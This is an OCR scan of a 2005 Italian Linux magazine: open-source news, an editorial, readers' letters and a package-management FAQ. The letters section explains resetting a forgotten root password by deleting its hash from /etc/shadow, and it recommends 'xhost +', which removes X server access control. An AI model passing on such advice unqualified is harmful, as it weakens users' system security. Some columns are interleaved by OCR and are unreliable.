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UN MENU 
| PER I NOSTRI DVD 


Se vi siete mai chiesti co- 
me si creano quei bellissimi 


e sofisticati menu che consentono 
di “navigare” all'interno del 
contenuto di un DVD, seguiteci... 


APPLICARE UN EFFETTO 
DI TRANSIZIONE 


Bj Come acquisire due differen- 


ti filmati e unirli insieme 
applicando sofisticati effetti per 
rendere fluido e uniforme il pas- 
saggio delle immagini 
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nell'affrontare il mercato 


ma, apprendere procedure a 
suon di tasti pigiati, veicolare 
sistemi operativi regalati nonostante 
le relative licenze siano tutt'altro che 

"for free" possono essere azioni 
condotte non solo sotto l'egida di 
marchi e ragioni sociali. 

Stiamo parlando del terzo settore, 
cioè di quei soggetti che lavorano 
per la costruzione di una coscienza 
sociale e per la diffusione di ric- 
chezza, in termini di conoscenza, 
anche quando non li si fa diretta- 
mente. Questo non è un rimbrotto, 
ma un invito. Un invito a_ riflettere 
sugli strumenti e sull'utilità che que- 
sti strumenti hanno perché sceglie- 
re non è solo una questione di etica: 
è soprattutto un discorso di oppor- 
tunità. 

Senza voler giocare alla comparazio 
ne di nomi e di performance, vedia- 
mo perché il terzo settore, nella 
propria attività, dovrebbe optare per 
il software libero. Da un lato abbia- 
mo un programma che nasce forse 
con un numero limitato di funziona- 


| nsegnare a utilizzare un program- 


Secu rity 


SOFTWARE LIBERO 


E TERZO SETTORE, UN INVITO A RIFLETTERE 


Il marketing malizioso e le tecniche di vendita ambigue non sono 
affare solo del reparto commerciale di aziende “aggressive” 


lità, ma che mette a disposizione 
attraverso il sorgente i propri "segre- 
ti", è destinato a crescere, segue gli 
standard, è documentato e non è 
legato alle sorti di chi lo rilascia. 
Dall'altro, invece, un corrispettivo, 
probabilmente al lancio più evoluto, 
ma illeggibile perché solo binario, 
vincolato alle politiche di licensing 
del proprietario, genera file con for- 
mati non interpretabili (o interpreta- 
bili parzialmente) da altre applicazio- 
ni e, al di là di manuali utente, difet- 
ta di documentazione. 
Il discorso, dunque, non è un muro 
contro muro tra il software libero e il 
software proprietario per mere que- 
stioni di principio. Quando si parla 
di conoscenza, di crescita della 
società o di formazione tout cour, ci 
si riferisce a tematiche concrete che 
vanno a impattare anche non solo 
con il portafogli di chi usufruisce di 
un supporto da parte del terzo set- 
tore, ma con la sua possibilità di 
capire e quindi di scegliere. 
Emmanuele Somma 
<esomma@ieee.org> www. exedre.org 
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QUANDO PICCOLO 
E BELLO: PICOTUX 


Kleinhenz Elektronik ha 
creato un connettore RJ45 
di dimensioni 35x19x19 (in 
millimetri, s'intende) con un 
processore ARM7 a 55 MHz, 
2 MB di memoria Flash e 8 
MB di memoria Ram sul 

quale è installa- 
ta una 
\ versione 


Per informazio- 
ni: 
www.picotux.com 


DVD JOHN SFIDA 
ITUNES 


Apple 1, Jon Johansen 2. 
Sembra il conteggio di una 
partita infinita tra Apple e il 
ragazzo Norvegese tra hack 
e patch. Per il momento 
vince lui: il suo PyMusique 
elimina il tetto di 5 canzoni 
condivisibili voluto da Apple. 

Per informazioni: 
www.nanocrew.net/blog 


ROBOCODE 
DIVENTA OPEN 
SOURCE 


Robocode è un gioco, 
con lo scopo di insegnare 
Java, dove si costruisce un 
carro-armato robot per una 
lotta all’ultimo sangue. Ora è 
diventato un progetto open 
source. La version 1.0.7 è 
disponibile qui 

Per informazioni: 
http://robocode.sourceforge.net 


+00 
0000 


*. 
6 ® ® Giugno 2005 


N E WS 


Rhode Island 
e la risonanza dell’OSS 


Il piccolo Stato americano pioniere dei servizi di trasparenza della PA, 


tutto tramite OSS 


MI Rbode Island, il più pic- 
colo Paese degli Stati Uniti, 
si sta facendo un nome nel 
campo del software libero e 
rappresenta un caso inte- 
ressante nella diffusione di 
OSS nelle pubbliche Am- 
ministrazioni. Più che uno 
Stato, potrebbe essere un 
grande centro urbano visto 
che conta poco più di un 
milione di anime, più o 
meno quanto il centro di 
Milano. L’essere piccolo è 
sempre il suo punto di 
forza, fin dall’inizio della 
sua storia: i Rhode 
Islanders sono stati i primi 
ad abolire la schiavitù nel 
1652. Meno radicale, ma 
non senza eco, la fondazio- 
ne nel luglio 2004 di un 
centro governativo, il 
Government Open Code 
Collaborative, insieme ad 


altri sette stati. L’OCC è 
nato per cercare di rispar- 
miare i $100 milioni di dol- 
lari spesi ogni anno in li- 
cenze e promuovere l’ac- 
cesso libero ai dati dal pub- 
blico e tra amministrazioni. 
Il fatto di avere l’apparato 
burocratico di uno Stato, 
ma in versione minimale, fa 
sì che sia più facile speri- 
mentare e implementare 
soluzioni nuove. Anche se 
sono passati pochi mesi, 
Jim Willis che dirige il 
dipartimento di informatica 
per la segreteria di Stato e 
dichiara che loro sono già 
open source al 90%. 
L’ufficio della segreteria di 
Stato funziona un po’ come 
uno schedario elettronico 
per il Paese intero, Willis 
spiega in un articolo desti- 
nato ad altre PA. Potrei 


conservare quei dati in un 
costoso database proprieta- 
rio o in uno database libe- 
ro, accessibile a una gamma 
più ampia di utenti. Visto 
che i database liberi sono 
praticamente uguali a quelli 
proprietari, gli ufficiali che 
scelgono di conservare i 
dati in un database proprie- 
tario fanno un disservizio al 
pubblico perché in pratica 
fanno pagare una tassa ogni 
volta che qualcuno vuole 
accedere all’informazione 


Arrivano i Linux Defender 


Un’insieme di soluzioni dedicate alla sicurezza arriva direttamente in Italia 
per coprire le esigenze di imprese e Pubblica Amministrazione 


MI Bitdefender è un 
marchio molto conosciuto 
all'estero, un po meno in 
Italia dove solo di recente 
è sbarcato grazie al suo 
nuovo distributore 
Kaleydos Group. 
Bitdefender produce 
un'insieme di software 
adatti a proteggere le reti 
informative. Alcuni nomi 
interessanti sono 
“LinuxDefender”, che 
consente di ripristinare il 
sistema in seguito ad un 
attacco grave, ad esempio 


la violazione degli accessi 
di root, oppure Linux Mail 
Server BitDefender che 
viene utilizzato per filtrare 
direttamente al livello di 
server di posta elettronica 
eventuali messaggi 
contenenti virus, ma 
esistono soluzioni anche 
per proteggere i sistemi 
Samba utilizzati come File 
Server e altre dedicate alla 
protezione dallo Spam. I 
software di Bitdefender 
sono venuti recentemente 
alla ribalta oltre che per la 


loro efficacia anche per 
essere stati adottati dalle 
provinica di Brecia, dai 
sistemi informatici delle 
ferrovie dell'Emilia 
Romagna e da altri 
comuni del centro Nord. 
Da un lato questo 
testimonia la volontà della 
PA di utilizzare sistemi 
Linux come base per i loro 
applicativi dall'altro la 
sensibilità di case 
produttrici di software 
commerciali anche 
affermate come 
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Ii n 
Mandrakelinux diventa Gi 
= Li Ii | 
Po Wil eisotiestine | -—IMiandriva Linux 


no creato una API in PHP 


con una serie di feed RSS Il sistema desktop di riferimento per gli utenti 
a Linux, acquisisce Conectiva e cambia nome 
nunciato resonate ovvero 

risonanza), rilasciata con A poche settimane dall'acquisizione di Conectica Linux, la 
licenza GNU GPL (General celebre distribuzione brasiliana, da parte di Mandrake Soft, l'a- 
Public License), con i dati zienda francese produttrice dell'omonimo sistema GNU/Linux 
dello Stato. Gli utenti pos- aggiorna il nome dell adistribuzione in Mandriva Linux e prepa- 
sono creare RSS ad-hoc in ra il sistema per la fusione con il desktop e altri strumenti 
grado di incrociare dati da dell'ex Conectiva Linux. Il cambiamento di nome serve a ridare 
più database, per esempio una nuova identità al sistema ma è stato anche un passaggio 
un feed in grado di avvisarli obbligatorio per risolvere le cause legali dovute alla sua prece- 
se ci sono politici o lobbisti dente denominazione. Questi cambiamenti attuati e annunciati 
che hanno appena fondato hanno già creato malumore tra i membri della comunità Linux 
nuove società. Altre funzio- e di Mandrake. Per risol- 
ni permettono agli interessa- Ot Mandriva vere il problema e placare 
ti di avere una lista comple- EI gli animi Mandrake Soft 


ta e aggiornata delle sedute mene — ha annunciato ulteriori rila- 
di commissioni e riunioni % sci, oltre a quelli annuali, 
varie della giunta delle loro ed ha indetto un concor- 
città. Non c’è dubbio che so via web per coloro i 
l’informatica trova terreno quali promuovono il nuovo 
fertile in questo minuscolo progetto Mandriva. 

stato sulla costa. Basti pen- Per informazioni: 
sare che il drink ufficiale del www.mandriva.com 
Rhode Island, ovvero coffee 
milk è una sorta di caffè 
latte arricchito di cioccolato, 


ssaa Integrare l'Open 


Per informazioni: 


ssi DSOUrCE in azienda 


AI via un corso orientato alla migrazione delle 


Mandrakesoft 


becomes 


(Mandriva 


BIROSTAnderehe ibiziano a infrastrutture aziendali IT verso il software libero iù 
investire tempo ed energia 
sul sistema Linux. Dedicato alle aziende del settore finanziario e riservato a 15 
Per informazioni: partecipanti, l'Open Source Learning Group sarà una full 
www.bitdefender.com immersion con i più importanti esperti italiani e stranieri del 


software libero, coordinati da Salvatore Manzi (Compulab) e 
responsabile di questo progetto. Nel prossimo futuro prenderan- Di 
no il via anche l'edizione riservata alla Pubblica Amministra- î 
zione e quella indirizzata al mondo industriale. Il corso, il 7-8-9 
giugno a Roma, esaminerà gli step necessari ad avvicinare la La 
realtà attuale delle aziende a un futuro Open Source: una detta- 
gliata e approfondita panoramica sulle metodologie ed esperien- / 
ze a livello europeo nella migrazione verso piattaforme libere, Deve 
con una introduzione alle metodologie di stima del costo totale | 
di possesso, del ritorno dell'investimento e i criteri di validazio- 
ne dei risultati. Organizzato da Compulab e HP, l’iniziativa è 
un'occasione di aggiornamento e formazione che consentirà di 
conoscere a fondo il mondo dell'Open Source per decidere con- 
sapevolmente come avviare sperimentazioni d'uso in azienda. 
Per informazioni: 
www.oslearningroup.it 
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SCIENCE 
COMMONS, DOPO 
CREATIVE 
COMMONS 


La battaglia per la libera 
circolazione del sapere si 
inasprisce anche in campo 
Biotech. Contro aziende come 
Monsanto si schierano gli 
scienziati del Biological 
Innovation for Open Society 
(BIOS) e Science Commons 
proponendo un approccio 
Open Source alla biologia 

Per informazioni: 
www.wired.com/news/medtech/0, 
1286, 66289, 00. html?tw= 
wn_9techhead 


SVILUPPATORI 
EUROPEI A FAVORE 
DELL’OPEN SOURCE 


Un sondaggio condotto 
dall’azienda BEA Systems su 
mille programmatori europei 
ha rivelato che la maggior 
parte di questi (60%) sostiene 
che l’Open Source ha molti 


vantaggi per le applicazioni 
Service Oriented Architecture. 
Per informazioni: 
www. technewsworld.com/ 
story/39744. html 


E-LEARNING 
ALL'ITALIANA 


Rilasciata la versione 2.0.4 
di DoceboLMS, la piattaforma 
Open Source italiana per la 
Formazione a Distanza (E- 
Learning). Inoltre, è disponibile 
anche una guida che spiega 
come creare progetti didattici 
conformi allo standard 
internazionale dell'E-Learning 
Scorm 
Per informazioni: 
www.docebolms.org 
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Yoga: una battaglia legale 
per la pace interiore 


Si estendono le diatribe legali con oggetto il copyright 


anche sulle discipline tradizionali 


I Peri diritti d'autore, le vie legali sembrano 
davvero infinite. Tant'è che in California, Bikram 
Choudhury, un guru dello yoga, sta cercando di 
ottenere il copyright su alcune posizioni utiliz- 
zate in una disciplina vecchia di cinquemila 
anni. Il caso mostra tutte le debolezze del 
sistema e mette a fuoco questioni importanti 
sul concetto della proprietà intellettuale, come 
quali conoscenze sono del pubblico dominio e 
dov'è il limite dei diritti. Se si sostituisce la 
parola programma per yoga, non siamo lonta- 
nissimi dal mondo informatico. Choudbury ha 
creato un metodo che utilizza una sequenza di 
26 asana (posizioni) che, secondo lui, dovreb- 
bero essere insegnate 
in condizioni di tempe- 
ratura e ambiente par- 
ticolari. Su questo 
metodo, ha creato una 
scuola che sforna 
insegnanti certificati e 
una catena di 1.300 
studi in giro per il 
mondo autorizzati da 
una licenza ad usare il 
metodo. Ha già otte- 
nuto il copyright sul 
dialogo, una sorta di 
copione che gli inse- 
gnanti dovrebbero uti- 
lizzare e il marchio 
brevettato per il nome 


"To ensure 
the continued 
natural 
unfettered 
development 
of Yoga for 
all to enjoy" 


delle scuole, Bikram's College of India, e il 
nome Bikram Yoga. Ma che cosa ha più da 
mettere sotto chiave di copyright se le sue 
asane fanno parte delle 84 posizioni tradizionali 
che, da secoli, vengono utilizzate in ben 10,000 
combinazioni? A Choudhury non va a genio 
che alcuni appassionati di yoga utilizzino le 
sue posizioni o che prendono spunti per svi- 
luppare altri metodi e ha cominciato a far fioc- 
care lettere minacciose dicendo di avere il 
copyright su tutto. Choudhury non ha la via 
spianata perché c'è un gruppo battagliero -- 
anche se estremamente rilassato e flessuoso -- 
che ha deciso di sfidarlo in tribunale. È un'as- 
sociazione non-profit chiamata Open Source 
Yoga Unity, un nome non a caso, visto è dedi- 
cata ad assicurare il continuato e naturale svi- 
luppo dello yoga senza barriere per il beneficio 
di tutti. Per gli esperti, non è un caso facile. Si 
teme che se Birkram ottiene i diritti d'autore 
sullo yoga, si aprirà la caccia al copyright di 
tutto lo sport e la danza. Per esempio, secondo 
il professore di legge Paul Goldstein, parlando 
con LA Times, avrebbe implicazioni chiare per 
tutte le attività che hanno una combinazione di 
movimento e ambiente, come la coreografia e 
le arti marziali. Non escluderei che potrebbe 
essere utilizzato anche per ottenere il copyright 
nello sport, tipo per azioni di basket o di foot- 
ball americano . 
Per informazioni: 
www. yogaunity.org 


Deblan adotta Il kernel 


di FreeBSD 


Sul ramo unstable di Debian è stato inserito il kernel 5.3 di FreeBSD 


MI Debian GNU/kFreeBSD 
è un port che consite di uno 
spazio utente GNU che usa 
la libreria C GNU e un ker- 
nel FreeBSD sottostante 
abbinati con il normale 
insieme di pacchetti Debian. 
Il pacchetto contiene i sor- 


genti del kernel 5.3 (pristi- 
ne) più una serie di patch 
per essere conforme agli 
standard Debian. Il primo 
passo verso la fusione 
Debian/FreeBSD. 


www.debian.org/ports/kfreebsd-gnu 


Per informazioni: 


A proposito 
di udev 


Ciao a tutti, e complimenti per la 
rivista! Vorrei fare una precisazione in 
merito all'articolo apparso sul 
numero di Aprile inerente alla 
gestione automatica dei dispositivi 
rimovibili. Nel paragrafo "Impostiamo 
i parametri di configurazione" si 
legge che udev si ferma alla prima 
regola trovata e che è quindi 
necessario inserire le regole 
personalizzate prima di quelle di 
default nel file 
/etc/udev/rules.d/udev.rules.Tutto 
vero! Ma a mio avviso, questo modo 
di procedere è poco pratico! Infatti, 
in caso di aggiornamento di udev 
con una versione successiva, il file 
rules.d verrà sovrascritto da quello 
aggiornato con conseguente perdita 
delle nostre regole. Per evitare tutto 
ciò è possibile creare un file *.rules 
che risulti alfabeticamente 
precedente a udev.rules. È sufficiente 
creare un normale file di testo e 
nominarlo, ad esempio, 
"audev.rules". Questo perché è vero 
che udev si ferma alla prima regola 
che si adatti al device, ma è anche 
vero che prende in considerazione i 
file contenenti le regole in ordine 
alfabetico. Il nostro file verrà quindi 
letto prima di udev.rules. Inoltre, 


Carissimi lettori di Linux Magazine, 
siamo entusiasti dell'interesse per la 
rivista! Come sempre vi diamo la 
possibilità di approfondire alcuni 
aspetti della 

"linux-way" alla filosofia di sistema e 
alle possibilità di crescita personale 


che vengono messe a disposizione di 
chi si incammina lungo la "via del 
pinguino...". 

Quindi continueremo a rispondere alle 
mail inviate all'indirizzo 
linuxmag@edmaster.it 
(sintetizzandole per dare più spazio 
alle risposte), cercando di 
approfondire gli argomenti o le 
curiosità di interesse più generale. 


risulterà più facile effettuare un 
backup delle nostre regole, in quanto 
il nostro file personalizzato contiene 
solamente queste. 

Alessandro 
M Risponde la Redazione 
Come al solito GNU/Linux, è sta proprio 
qui la sua forza, offre strategie diverse 
per affrontare e risolvere lo stesso 
problema. Quello indicato nelle pagine 
della rivista è solo uno tra i tanti e non è 
certo solo il caso di udev. 
Detto questo, capirà bene che dato lo 
spazio a a disposizione degli autori non è 
possibile fornire tutte le indicazioni, così 
si danno solo quelle ritenute più pratiche 
e semplici da applicare. 
In questo caso, prendiamo atto della 
validità della sua soluzione e la 
proponiamo ai nostri lettori, sicuri di 
fornire un’alternativa al metodo 
proposto in precedenza. 


A volte ritornano 


Salve a tutti. Volevo chiedere alcuni 
chiarimenti in merito al DVD di 
installazione di SuSE Linux 9.2 
allegato al numero di febbraio 2005. 
Premetto che sono un neofita di 
Linux, non sono un programmatore e 
uso il PC per hobby. L'installazione è 
andata subito a buon fine senza 
sconvolgere minimamente Windows 
XP e già questo è per me un buon 


risultato, dato che qualche anno fa 
installai altre distribuzioni Linux che 
stravolsero completamente il PC con 
perdite di dati ecc. (per fortuna avevo 
fatto un backup completo del 
sistema). Dopo qualche tempo 
abbandonai Linux perché non 
riuscivo a configurare alcune 
periferiche, e il sistema era piuttosto 
complicato per un utilizzatore medio 
come me. Adesso, sempre come 
passatempo, vorrei passare a Linux 
ma ho incontrato ancora alcune 
difficoltà: il sistema non riconosce il 
modem, il floppy si può utilizzare 
solo come root, e non riesco ad 
installare nessun programma tra 
quelli presenti all'interno del DVD 
allegato. La domanda è: la versione 
della distribuzione, per caso, è solo 
dimostrativa, e quindi per un corretto 
funzionamento devo acquistare 
quella originale? Sono io 
(probabilmente) proprio incapace? 
Penso che se Linux punta a diventare 
veramente un valido sostituto di 
Windows, dovrebbe essere molto più 
intuitivo per un utilizzatore medio. 
Mario 
M Risponde la Redazione 
Stabiliamo subito che per utilizzare un 
sistema GNU/Linux non è necessario 
essere programmatori o guru 
dell'informatica, né tantomeno è una 
colpa essere dei principianti. Tutti lo 
siamo stati e abbiamo incontrato lo 
stesso tipo di problemi. Inoltre, è 
importante sottolineare che la maggior 
parte degli utenti Linux, cosiddetti 
esperti, hanno iniziato con questo 
sistema per hobby o semplice curiosità. 
Fatta questa premessa, passiamo alle 
sue domande. La distribuzione di SuSE 
Linux allegata alla rivista è completa, 
sotto tutti i punti di vista, addirittura è 
del tutto simile alla versione 
Professional (commerciale), ma ovvia- 
mente non prevede supporto da parte 
del fornitore, non sono presenti i ma- 
nuali e non contiene i sorgenti del soft- 
ware. Per quanto riguarda il mancato 
riconoscimento del modem, il problema 
è dovuto, con ogni probabilità, al fatto 
che si tratta di un winmodem o 
softmodem. Questi non sono modem 
nel vero senso della parola, ma si tratta 
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di dispositivi che mancano di alcune 
componenti hardware fondamentali e 
parte del lavoro è svolto dal PC. Questi 
sono destinati esclusivamente 
all'utilizzo con il sistema operativo 
Windows, anche se esistono alcuni 
modelli (dotati di chipset Conexant o 
Lucent) compatibili con Linux. Se non 
riesce ad accedere al floppy disk è 
necessario modificare il file /etc/fstab. 
Per fare ciò, acceda al sistema come 
root, apra il file con un qualsiasi editor 
di testi e modifichi la riga relativa al 
floppy nel modo seguente: 
/dev/fd0 /mnt/floppy auto 
noauto,user,rw 0 0 
Per installare il software presente nel 
DVD, basta scompattare il file ed 
eseguire, all'interno della nuova 
directory, i comandi seguenti: 
./configure 


make 


su (password di root) 


make install 
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Non sempre il processo di installazione 
va a buon fine e generalmente il 
problema è dovuto alle dipendenze con 
qualche altro software non presente nel 
sistema. Le consiglio, almeno per il 
momento, di usare i pacchetti RPM, 
utilizzati di default da SuSE Linux, in 
grado di semplificare il processo di 
installazione risolvendo le dipendenze 
in modo automatico. Detto questo, non 
abbandoni e si renderà conto che in 
questi anni sono stati fatti notevoli 
passi avanti verso la conquista del 
desktop. 


Linux e la sua 
diffusione 


Gentile redazione, salto a piè pari i 
complimenti (scontati) per la vostra 
rivista che preferisco fra le svariate 
nel settore e vorrei sottoporvi un 


ormai trito e ritrito argomento di 
discussione che, ormai, sfianca gli 
utenti Linux: la possibilità di 
"sfondare" come sistema operativo 
preferito sui PC degli utenti 
"desktop". 

lo lavoro su sistema operativo Solaris 
7 e architettura Sparc. Dopo otto ore 
di compilazioni, link ed amenità varie, 
torno a casa e decido di installare 
Linux (precisamente SuSE Linux 9.2 
in dual boot con Windows 2000) e 


GCompris per mio figlio di sette anni. 
Si parte: manca la libreria xxx.s0. 
Vedo a quale package appartiene, lo 
scarico da Internet e ci riprovo: "File 
xxx.h not found". Cerco il pacchetto 
mancante, lo installo e ci riprovo. 
Morale della favola, dopo circa 2-3 
ore di "straordinario" riesco ad 
installare GCompris. 
Per inciso, la versione per Windows, 
anche se ridotta rispetto a quella 
Linux, si installa in 5 minuti cliccando 
sull' eseguibile distribuito. Con tali 
presupposti, penso che sia realmente 
improbabile che il nostro sistema 
operativo preferito riesca ad avere 
una diffusione comparabile a quella 
Windows. Rimarrà ancora confinato 
ad un pubblico di smanettoni e ne 
sono la conferma le lettere che 
spesso pubblicate nella vostra 
rubrica di posta. Non tutti hanno le 
conoscenze necessarie per aggirare 
questi problemi, che si presentano 
tre volte su quattro quando si installa 
un nuovo applicativo sotto Linux, ed 
io stesso, non vi nascondo che, dopo 
otto ore passate ad armeggiare con 
compilatori, link e librerie in ufficio, 
non ho la benché minima intenzione 
di continuare a farlo a casa e 
preferirei che si potesse provare 
qualcosa di nuovo in modo più facile. 
Non immaginate l'avventura 
nell'installare uno dei giochi di corse 
automobilistiche da voi distribuiti col 
DVD allegato a LM di aprile!!! Sono 
entusiasta di Linux: sono passato 
dalla più "tecnica" Red Hat alla più 
"user friendly" SuSE (non mi devo 
montare a mano la chiavetta USB 
ecc.) e la presenza di Linux sul mio 
PC mi ha salvato ben due volte dalla 
perdita di dati importanti che 
altrimenti avrei perso perché 
impossibilitato a fare il boot del PC 
da Windows. Per cui ora mi guardo 
bene dal non avere Linux sul mio PC. 
Se non fosse per alcune applicazioni 
di montaggio audio-video, rimarrei 
col solo Linux e sono fiducioso di 
riuscire a farlo tra qualche anno. 
Grazie per l'attenzione e complimenti 
per l'ottimo lavoro. 

Francesco 
N Risponde la Redazione 


La disponibiltà di software e la 
semplicità di installazione sono, senza 
ombra di dubbio, fattori importanti per 
la diffusione di un Sistema Operativo 
ma non sono gli unici parametri da 
valutare nell'effettuare la scelta. Inoltre, 
con il passare degli anni, Linux è 
nettamente migliorato e non difetta in 
nessuno di questi aspetti anzi, in alcuni 
casi sono diventati i suoi punti di forza, 
come ad esempio l'installazione di 
pacchetti aggiuntivi e l'aggiornamento 
automatico del sistema. Se dispone di 
una connessione Internet veloce 
(ADSL) e non vuole avere più problemi 
di installazione, le consiglio di provare 
le distribuzioni derivate da Debian (o la 
stessa) come SimplyMEPIS, Knoppix, 
Ubuntu e Kanotix. Queste, come tante 
altre, utilizzano il formato DEB per la 
pacchettizzazione del software e, grazie 
al tool grafico Synaptic, l'installazione 
di ogni programma avviene in modo 
quasi automatico. Non dispongono di 
tool di gestione avanzati come Yast di 
SuSE, ma sono comunque semplici da 
utilizzare e configurare, in particolare 
SimplyMEPIS. I pacchetti precompilati 
disponibili sono circa 10000, ma anche 
se non fosse disponibile quello che le 
interessa, è sempre molto più semplice 
installare i pacchetti per risolvere le 
dipendenze se si deve procedere 
all'installazione da sorgente. Proprio 
con l'ultima versione di SimplyMEPIS, 
la 3.3, abbiamo installato 1 GB di 
software (dai giochi fino agli ambienti 
di sviluppo) in circa due ore senza 
nessun inconveniente. 


Password 
di root 
dimenticata 


Salve a tutti. Ho da poco tempo 
installato la mia prima distribuzione 
GNU/Linux (per la precisione 
Slackware 10.1). Devo dire che, dopo 
l'installazione abbastanza difficile 
(probabilmente avrei avrei fatto 
meglio a scegliere una distribuzione 
più adatta a chi inizia), non ho avuto 
particolari problemi nel normale 
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utilizzo del PC. Dopo il primo avvio e 
la prima esperienza come utente 
Linux, ho spento il PC senza 
utilizzarlo più per circa un mese. 
Pochi giorni fa ho deciso che era 
giunto il momento di riprovare, ma 
quando è arrivato il momento del 
login, mi sono reso conto di aver 
dimenticato la password. Premetto 
che non avevo aggiunto nessun altro 
utente al sistema. Come posso fare 
per risolvere il problema? 
Marco 
N Risponde la Redazione 
Per prima cosa, la prossima volta cerchi 
di non dimenticare la password. Se 
necessario (anche se sconsigliatissimo)la 
scriva da qualche parte, ma solo se 
utilizza il PC in ambiente privato, non 
frequentato da estranei. Inoltre, non 
dimentichi di creare un utente aggiuntivo 
per il “normale” utilizzo del PC, usare 
l'account di root per le attività di tutti i 
giorni può compromettere 
irreparabilmente l'integrità del sistema, 
se non si fa attenzione o non si conosce 
perfettamente ciò che si sta facendo. 
Le password vengono archiviate nel file 
letc/passwd (/etc/shadow per le password 
shadow). All'interno di questi file sono 
presenti tutti i dati degli utenti (nome 
utente, directory home, la shell utilizzata, 
ecc) con le relative password codificate. 
L'unico modo per risolvere il problema è 
riuscire ad accedere a questi file ed 
eliminare il campo contenente la 
password di root codificata. 
root:x:0:0::/root:/bin/bash 
La riga presente all'interno del file 
letc/password contenente i dati 
dell'utente root. La x rappresenta la 
password nascosta. 
root:$1$6qCOVnNt$0/W5fdMOK6hYbbUCBS 
ENO:1I270be0es 580 
La riga presente all'interno del file 


Userinto | Rassword Mansgemert | Orcups | 


User login domenzo 
User: 11000 
Mu pame; Domenico Pingtore 


Login shell (frnivash 
Home fol 
Qffice #1 
Office #2 
Address 


[momejdomenzo 
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letc/shadow contenente i dati dell'utente 
root. La sequenza di caratteri 
alfanumerici rappresenta la password 
cifrata. In questo modo si può accedere 
al sistema senza password e 
successivamente impostarne una nuova. 
Le strategie possono essere diverse. È 
possibile digitare al prompt di LILO la 
stringa linux single, per avere accesso 
senza password e apportare le modifiche, 
sempre che questo metodo funzioni. Se 
sul sistema è presente un'altra 
distribuzione è possibile montare la 
partizione (tipicamente la directory 
radice /) e modificare il file eliminando la 
password cifrata. Oppure, è possibile 
utilizzare una distribuzione “live”, 
montare la partizione e apportare le 
modifiche. Se ha problemi con la riga di 
comando può utilizzare il tool grafico 
KUser per la gestione di utenti e 
password. 


Avvio 
cli applicazioni 
grafiche da root 


Salve a tutti. Tempo fa ho installato la 
distribuzione Mandrakelinux 10.0 e 
quando effettuavo l'accesso al 
sistema, in modalità grafica, come 
utente comune, riuscivo ugualmente 
a eseguire applicazioni grafiche da 
root. 
Successivamente sono passato alla 
distribuzione Slackware, e da allora 
non riesco a svolgere più la stessa 
operazione ottenendo ogni volta un 
messaggio di errore. 
Giovanni 
M Risponde la Redazione 
Il tentativo di un utente di eseguire 
un'applicazione grafica da un server X di 
un altro utente, produce nella maggior 
parte dei casi il messaggio seguente: 
Xlib: connection to ":0.0" refused 
by server 


Xlib: No protocol specified 


kwrite: cannot connect to X server :0.0 
Questo è dovuto a motivi di sicurezza. 
Per risolvere il “problema”, l'utente 
proprietario del server X in esecuzione, 


deve concedere il permesso di utilizzare 
il proprio server agli altri utenti. Per fare 
ciò, si utilizza il comando xhost seguito 
dall'opzione +. In questo modo si 
concede l'autorizzazione a tutti gli utenti: 
xhost + 

Per assegnare il permesso a un utente 
specifico si esegue 

xhost + nome 

La voce “nome” indica il nome del PC o 
l'utente cui si vuole concedere l'utilizzo 
dello schermo. 


Scheda ATI e 
browser Firefox 


Gentile redazione. 
Ho da poco comprato la versione 9.2 
di SuSE Linux Professional e l'ho 
installata su un PC con Wiindows 
XP Professional. 
Fin qua tutto bene ma non sono 
riuscito a trovare il driver apropriato 
per la scheda video (ATI Radeon 
9600) che viene riconosciuta con un 
driver generico VESA. Ho tentato di 
trovare il driver giusto tramite YAST 2 
ma la 9600 non risulta nella lista. 
Ho scaricato dal sito della Ati i driver 
XFree86 4.1, XFree86 4.2, XFree86 
4.3, e X.Org 6.8, ma non so quale sia 
quello giusto per la mia scheda 
video. Avrei una seconda domanda 
da chiedervi. 
Ho provato a installare l'ultima 
versione di Firefox in italiano ma non 
ci riesco a installarla come vorrei, mi 
viene proposta la cartella /home, se 
cambio percorso /usr/local per 
esempio non mi è concesso. 
Cosa devo fare? 

Fabrizio 
M Risponde la Redazione 
SuSE Linux 9.2 utilizza il server grafico 
XOrg 6.8.1 quindi i driver da 
utilizzare sono quelli con il nome X.Org 
6.8. Mentre per installare Firefox 
in una directory diversa dalla home 
proposta di default è necessario 
installarlo con i privilegi di root. 
Per fare ciò dalla shell basta eseguire il 
comando su e indicare la password di 
root e successivamente eseguire il 
programma di installazione. 


M Comesi installano 

i pacchetti per 
Mandrakelinux, SuSE Linux, 
Fedora e altre distribuzioni 
basate su RPM? 
@ Per installare il pacchetto da riga di 
comando 

rpm -i nome_pacchetto.rpm 
oppure 

rpm -ivh nome.rpm 
Se si desidera aggiornare un pacchetto 
già installato basta eseguire 

rpm -U nome pacchetto.rpm 
oppure: 

rpm -Uvh nome pacchetto.rpm 
Per rimuovere un pacchetto 

rpm -e nome_pacchetto.rpm 
Per verificare l'installazione di un 
pacchetto bisogna eseguire il comando 

rpm -V nome_pacchetto.rpm 
È importante ricordare che tutte le 
distribuzioni dispongono del software 
Kpackage integrato nel desktop KDE, 
inoltre, Mandrakelinux e SuSE Linux 
dispongono di strumenti grafici in grado 
di automatizzare questi processi e 
risolvere le dipendenze tra i pacchetti. 


M Come si installano 

i pacchetti DEB per 

le distribuzioni Debian 
GNU/Linux e derivate 
(Ubuntu, Knoppix, MEPIS? 


Le risposte 

alle domande più 
frequenti poste 
dai lettori 


Per iniziare 

a usare subito 
Il tuo nuovo 
sistema 
operativo 


@ Per installare il pacchetto da riga di 
comando 

apt-get install nome_pacchetto 
per rimuoverlo 

apt-get remove nome pacchetto 
Tutte le distribuzioni derivate da Debian 
dispongono del gestore di pacchetti 
Synaptic. Si tratta di un tool grafico in 
grado di automatizzare l'installazione, 
l'aggiornamento e la disinstallazione del 
software. Basta semplicemente indicare 
la repository (una sorta di archivio) dalla 
quale prelevare il software. 


HM Come si installano 
i pacchetti TGZ per 
Slackware e le 
distribuzioni derivate da 
essa? 
@ Lo script explodepkg estrae gli archi- 
vi TGZ nella directory corrente. 
explodepkg nome pacchetto.tgz 
Il tool instalIpkg gestisce l'installazione 
dei pacchetti: 
installpkg [opzioni] 
nome_pacchetto.tgz 
Le opzioni che è possibile utilizzare sono: 
e warn, non effettua l'installazione ma 
mostra i file e le directory che 
verrebbero creati; 
er, installa i pacchetti contenuti a 
partire dalla directory corrente; 
em, serve per generare un archivio 


tar.gz ma con estensione .fgz 
costituito dal contenuto della 
directory corrente. 
Per creare archivi TGZ secondo lo 
standard Slackware si utilizza il comando 
makepkg pacchetto_applicativo 
Lo script removepkg si occupa della 
disinstallazione dei pacchetti 
removepkg nome_pacchetto.tgz 
